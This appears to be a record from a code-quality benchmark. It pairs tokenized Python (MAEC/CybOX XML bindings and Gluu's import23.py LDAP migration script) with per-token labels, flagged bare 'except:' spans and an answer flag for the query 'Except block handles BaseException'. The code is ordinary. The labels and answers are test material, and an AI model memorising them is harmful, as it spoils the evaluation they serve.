")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Target", "ed", "\\u", "Plat", "forms_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Target", "ed", "\\u", "Plat", "forms_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "Code", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Target", "ed", "\\u", "Plat", "forms", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "Process", "or", "\\u", "Famil", "y\\u_", "in_", "self_", "._", "Process", "or", "\\u", "Family_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Process", "or", "\\u", "Famil", "y\\u_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "Code", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Process", "or", "\\u", "Famil", "y", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Discover", "y", "\\u", "Method_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Discover", "y", "\\u", "Method_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "Code", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Discover", "y", "\\u", "Meth", "od", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Start", "\\u", "Address_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Start", "\\u", "Address_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "Code", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Start", "\\u", "Address", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Code", "\\u", "Segment_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Code", "\\u", "Segment_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "Code", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Code", "\\u", "Segme", "nt", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Code", "\\u", "Segme", "nt", "\\u", "XO", "R_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Code", "\\u", "Segme", "nt", "\\u", "XO", "R_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "Code", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Code", "\\u", "Segme", "nt", "\\u", "XO", "R", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Digit", "al", "\\u", "Sign", "ature", "s_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Digit", "al", "\\u", "Sign", "ature", "s_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "Code", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Digit", "al", "\\u", "Sign", "ature", "s", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "Extract", "ed", "\\u", "Features_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "Extract", "ed", "\\u", "Features_", "._", "export_", "(_", "lw", "rite_", ",_", "level_", ",_", "'", "Code", "Obj", ":'_", ",_", "name\\u_", "=_", "'", "Extract", "ed", "\\u", "Feature", "s", "'_", ",_", "pretty", "\\u", "print_", "=_", "pretty", "\\u", "print_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse_", "(_", "in", "File", "Name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "doc_", "=_", "parse", "xml", "\\u_", "(_", "in", "File", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Node_", "=_", "doc_", "._", "getroot_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Tag_", ",_", "root", "Class_", "=_", "get", "\\u", "root", "\\u", "tag_", "(_", "root", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "root", "Class_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "root", "Tag_", "=_", "'", "Code", "\\u", "Object", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Class_", "=_", "Code", "Object", "Type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "root", "Obj_", "=_", "root", "Class_", "._", "factory_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Obj_", "._", "build_", "(_", "root", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Enable", " ", "Pyth", "on", " ", "to", " ", "collect", " ", "the", " ", "space", " ", "used", " ", "by", " ", "the", " ", "DOM", "._", "\\u\\u\\uNL\\u\\u\\u_", "doc_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", " ", " ", "sys", ".", "stdout", ".", "write", "('", "<", "?", "xml", " ", "version", "=\"", "1.0", "\"", " ", "?>", "\\\\", "n", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "root", "Obj", ".", "export", "(", "sys", ".", "stdout", ".", "write", ",", " ", "0", ",", " ", "name", "\\u", "=", "root", "Ta", "g", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "namespace", "def", "\\u", "=''", ",_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "pretty", "\\u", "print", "=", "Tru", "e", ")_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "root", "Obj_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "Et", "ree_", "(_", "in", "File", "Name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "doc_", "=_", "parse", "xml", "\\u_", "(_", "in", "File", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Node_", "=_", "doc_", "._", "getroot_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Tag_", ",_", "root", "Class_", "=_", "get", "\\u", "root", "\\u", "tag_", "(_", "root", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "root", "Class_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "root", "Tag_", "=_", "'", "Code", "\\u", "Object", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Class_", "=_", "Code", "Object", "Type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "root", "Obj_", "=_", "root", "Class_", "._", "factory_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Obj_", "._", "build_", "(_", "root", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Enable", " ", "Pyth", "on", " ", "to", " ", "collect", " ", "the", " ", "space", " ", "used", " ", "by", " ", "the", " ", "DOM", "._", "\\u\\u\\uNL\\u\\u\\u_", "doc_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Element_", "=_", "root", "Obj_", "._", "to", "\\u", "etree_", "(_", "None_", ",_", "name\\u_", "=_", "root", "Tag_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "content_", "=_", "etree", "\\u_", "._", "tostring_", "(_", "root", "Element_", ",_", "pretty", "\\u", "print_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "xml", "\\u", "declaration_", "=_", "True_", ",_", "encoding_", "=_", "\"", "utf", "-", "8", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "stdout_", "._", "write_", "(_", "content_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "stdout_", "._", "write_", "(_", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "root", "Obj_", ",_", "root", "Element_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse", "String_", "(_", "in", "String_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "mix", "box_", "._", "vendor_", "._", "six_", "import_", "String", "IO_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "doc_", "=_", "parse", "xml", "\\u_", "(_", "String", "IO_", "(_", "in", "String_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Node_", "=_", "doc_", "._", "getroot_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Tag_", ",_", "root", "Class_", "=_", "get", "\\u", "root", "\\u", "tag_", "(_", "root", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "root", "Class_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "root", "Tag_", "=_", "'", "Code", "\\u", "Object", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Class_", "=_", "Code", "Object", "Type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "root", "Obj_", "=_", "root", "Class_", "._", "factory_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "root", "Obj_", "._", "build_", "(_", "root", "Node_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Enable", " ", "Pyth", "on", " ", "to", " ", "collect", " ", "the", " ", "space", " ", "used", " ", "by", " ", "the", " ", "DOM", "._", "\\u\\u\\uNL\\u\\u\\u_", "doc_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", " ", " ", "sys", ".", "stdout", ".", "write", "('", "<", "?", "xml", " ", "version", "=\"", "1.0", "\"", " ", "?>", "\\\\", "n", "')", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "root", "Obj", ".", "export", "(", "sys", ".", "stdout", ".", "write", ",", " ", "0", ",", " ", "name", "\\u", "=\"", "Code", "\\u", "Object", "\",", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "namespace", "def", "\\u", "=''", ")_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "root", "Obj_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
GluuFederation/community-edition-setup/static/scripts/import23.py
[ { "content": "#!/usr/bin/python\n\n# Requires JSON Merge library\n# wget https://github.com/avian2/jsonmerge/archive/master.zip\n# unzip master.zip\n# cd jsonmerge-master\n# python setup.py install\n\n# Also requires ldif.py in same folder\n\nimport os\nimport os.path\nimport shutil\nimport sys\nimport time\nimport traceback\nfrom ldif import LDIFParser\nfrom jsonmerge import merge\nimport base64\nimport json\nimport uuid\n\nlog = \"./import23.log\"\nlogError = \"./import23.error\"\npassword_file = \"/root/.pw\"\n\nservice = \"/usr/sbin/service\"\nldapmodify = \"/opt/opendj/bin/ldapmodify\"\nldapsearch = \"/opt/opendj/bin/ldapsearch\"\nldapdelete = \"/opt/opendj/bin/ldapdelete\"\n\nignore_files = ['101-ox.ldif',\n 'gluuImportPerson.properties',\n 'oxTrust.properties',\n 'oxauth-config.xml',\n 'oxauth-errors.json',\n 'oxauth.config.reload',\n 'oxauth-static-conf.json',\n 'oxtrust.config.reload'\n ]\n\nldap_creds = ['-h',\n 'localhost',\n '-p',\n '1389',\n '-D',\n '\"cn=directory',\n 'manager\"',\n '-j',\n password_file\n ]\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nbackup23_folder = None\nerror = False\ntry:\n backup23_folder = sys.argv[1]\n if (not os.path.exists(\"%s/ldif\" % backup23_folder)):\n error = True\n if (not os.path.exists(\"%s/etc\" % backup23_folder)):\n error = True\n if (not os.path.exists(\"%s/opt\" % backup23_folder)):\n error = True\nexcept:\n error = True\n\nif error:\n print \"backup folders not found\"\n print \"Usage: ./import.py <path_to_backup_folders>\"\n sys.exit(1)\n\nldif_folder = \"%s/ldif\" % backup23_folder\noutputFolder = \"./output_ldif\"\noutputLdifFolder = \"%s/config\" % outputFolder\n\nif not os.path.exists(outputFolder):\n os.mkdir(outputFolder)\n\nif not os.path.exists(outputLdifFolder):\n os.mkdir(outputLdifFolder)\n\nnewLdif = \"%s/current_config.ldif\" % outputFolder\n\nstopOpenDJ()\ncopyFiles(backup23_folder)\nstartOpenDJ()\ngetNewConfig(newLdif)\nrestoreConfig(ldif_folder, newLdif, outputLdifFolder)\nuploadLDIF(ldif_folder, outputLdifFolder)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def getOutput(args):\n try:\n logIt(\"Running command : %s\" % \" \".join(args))\n output = os.popen(\" \".join(args)).read().strip()\n return output\n except:\n logIt(\"Error running command : %s\" % \" \".join(args), True)\n logIt(traceback.format_exc(), True)\n sys.exit(1)", "metadata": "root.getOutput", "header": "['module', '___EOS___']", "index": 160 }, { "content": "def restoreConfig(ldifFolder, newLdif, ldifModFolder):\n ignoreList = ['objectClass', 'ou']\n current_config_dns = getDns(newLdif)\n oldDnMap = getOldEntryMap(ldifFolder)\n for dn in oldDnMap.keys():\n old_entry = getEntry(\"%s/%s\" % (ldifFolder, oldDnMap[dn]), dn)\n if dn not in current_config_dns:\n addEntry(dn, old_entry, ldifModFolder)\n continue\n new_entry = getEntry(newLdif, dn)\n for attr in old_entry.keys():\n if attr in ignoreList:\n continue\n if not new_entry.has_key(attr):\n writeMod(dn, attr, old_entry[attr], '%s/%s.ldif' % (ldifModFolder, str(uuid.uuid4())), True)\n logIt(\"Adding attr %s to %s\" % (attr, dn))\n else:\n mod_list = None\n if old_entry[attr] != new_entry[attr]:\n if len(old_entry[attr]) == 1:\n try:\n logIt(\"Merging json value for %s \" % attr)\n old_json = json.loads(old_entry[attr][0])\n new_json = json.loads(new_entry[attr][0])\n new_json = merge(new_json, old_json)\n mod_list = [json.dumps(new_json)]\n except:\n mod_list = old_entry[attr]\n else:\n mod_list = old_entry[attr]\n logIt(\"Keeping multiple old values for %s\" % attr)\n else:\n continue\n writeMod(dn, attr, mod_list, '%s/%s.ldif' % (ldifModFolder, str(uuid.uuid4())))", "metadata": "root.restoreConfig", "header": "['module', '___EOS___']", "index": 179 }, { "content": "def walk_function(a, dir, files):\n for file in files:\n if file in ignore_files:\n continue\n fn = \"%s/%s\" % (dir, file)\n targetFn = fn[1:]\n if os.path.isdir(fn):\n if not os.path.exists(targetFn):\n os.mkdir(targetFn)\n else:\n # It's a file...\n try:\n logIt(\"copying %s\" % targetFn)\n shutil.copyfile(fn, targetFn)\n except:\n logIt(\"Error copying %s\" % targetFn, True)", "metadata": "root.walk_function", "header": "['module', '___EOS___']", "index": 276 } ]
[ { "span": "except:", "start_line": 318, "start_column": 0, "end_line": 318, "end_column": 7 }, { "span": "except:", "start_line": 165, "start_column": 8, "end_line": 165, "end_column": 15 }, { "span": "except:", "start_line": 205, "start_column": 24, "end_line": 205, "end_column": 31 }, { "span": "except:", "start_line": 290, "start_column": 12, "end_line": 290, "end_column": 19 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "python_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Requ", "ires", " ", "JSO", "N", " ", "Merge", " ", "library_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "wg", "et", " ", "https", "://", "git", "hub", ".", "com", "/", "avi", "an", "2", "/", "json", "merge", "/", "archive", "/", "master", ".", "zip_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "unzip", " ", "master", ".", "zip_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "cd", " ", "json", "merge", "-", "master_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "python", " ", "setup", ".", "py", " ", "install_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Al", "so", " ", "require", "s", " ", "ldif", ".", "py", " ", "in", " ", "same", " ", "folder_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "._", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "shutil_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "traceback_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "ldif", "_", "import_", "LD", "IF", "Parser_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "json", "merge_", "import_", "merge_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "base64_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "uuid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "log_", "=_", "\"./", "import", "23.", "log", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log", "Error_", "=_", "\"./", "import", "23.", "error", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "password", "\\u", "file_", "=_", "\"/", "root", "/.", "pw", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "service_", "=_", "\"/", "usr", "/", "sb", "in", "/", "service", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ldap", "modify_", "=_", "\"/", "opt", "/", "opend", "j", "/", "bin", "/", "ldap", "modif", "y", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ldap", "search_", "=_", "\"/", "opt", "/", "opend", "j", "/", "bin", "/", "ldap", "search", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ldap", "delete_", "=_", "\"/", "opt", "/", "opend", "j", "/", "bin", "/", "ldap", "delete", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ignore", "\\u", "files_", "=_", "[_", "'", "101", "-", "ox", ".", "ldif", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "glu", "u", "Import", "Person", ".", "proper", "ties", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ox", "Trust", ".", "proper", "ties", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ox", "auth", "-", "config", ".", "xml", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ox", "auth", "-", "error", "s", ".", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ox", "auth", ".", "config", ".", "relo", "ad", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ox", "auth", "-", "static", "-", "conf", ".", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ox", "trust", ".", "config", ".", "relo", "ad", "'_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ldap", "\\u", "creds_", "=_", "[_", "'-", "h", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "local", "host", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'-", "p", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "138", "9", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'-", "D", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'\"", "cn", "=", "director", "y", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "manage", "r", "\"'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'-", "j", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "password", "\\u", "file_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "backup", "23", "\\u", "folder_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "error_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "backup", "23", "\\u", "folder_", "=_", "sys_", "._", "argv_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "(_", "not_", "os_", "._", "path_", "._", "exists_", "(_", "\"%", "s", "/", "ldif", "\"_", "%_", "backup", "23", "\\u", "folder_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "not_", "os_", "._", "path_", "._", "exists_", "(_", "\"%", "s", "/", "etc", "\"_", "%_", "backup", "23", "\\u", "folder_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "not_", "os_", "._", "path_", "._", "exists_", "(_", "\"%", "s", "/", "opt", "\"_", "%_", "backup", "23", "\\u", "folder_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "error_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "\"", "backup", " ", "folder", "s", " ", "not", " ", "found", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "Us", "age", ":", " ", "./", "import", ".", "py", " ", "<", "path", "\\u", "to", "\\u", "backup", "\\u", "folder", "s", ">\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "ldif", "\\u", "folder_", "=_", "\"%", "s", "/", "ldif", "\"_", "%_", "backup", "23", "\\u", "folder_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output", "Folder_", "=_", "\"./", "output", "\\u", "ldif", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output", "Ld", "if", "Folder_", "=_", "\"%", "s", "/", "config", "\"_", "%_", "output", "Folder_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "exists_", "(_", "output", "Folder_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "mkdir_", "(_", "output", "Folder_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "exists_", "(_", "output", "Ld", "if", "Folder_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "mkdir_", "(_", "output", "Ld", "if", "Folder_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "new", "Ld", "if_", "=_", "\"%", "s", "/", "current", "\\u", "config", ".", "ldif", "\"_", "%_", "output", "Folder_", "\\u\\u\\uNEWLINE\\u\\u\\u_", 